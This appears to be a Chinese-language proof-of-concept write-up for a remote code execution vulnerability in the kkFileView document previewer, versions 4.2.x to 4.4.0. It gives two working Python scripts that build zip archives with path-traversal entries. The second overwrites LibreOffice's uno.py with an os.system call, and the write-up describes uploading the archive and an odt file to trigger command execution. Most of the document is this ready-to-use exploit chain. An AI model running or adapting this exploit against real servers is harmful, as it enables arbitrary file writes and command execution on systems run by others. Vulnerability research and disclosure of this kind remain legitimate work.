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2.5 KiB
2.5 KiB
kkFileView-v4.3.0-RCE
影响版本
v4.3.0~v4.40
v4.2.1~v4.2.0
环境部署
本地源码启动或者docker部署
任意文件上传
import zipfile
if __name__ == "__main__":
try:
binary1 = b'1ueeeeee'
binary2 = b'hacked_by_1ue'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
zipFile.close()
except IOError as e:
raise e
制作恶意hack.zip，注意里面必须有一个正常文件，例如test，便于创建hack.zip_缓存文件
上传文件并预览
发现成功穿越
RCE
可以任意文件上传，并且可以追加文件内容
经过我研究发现，目标在使用odt转pdf时会调用系统的Libreoffice，而此进程会调用库中的uno.py文件，因此可以覆盖该py文件的内容
import zipfile
if __name__ == "__main__":
try:
binary1 = b'1ue'
binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
制作恶意的zip包 上传并预览
再随便上传一个odt文件，另其发起libreoffice任务 上传并预览
可以看到命令成功被执行
uno.py中也确实被写入了内容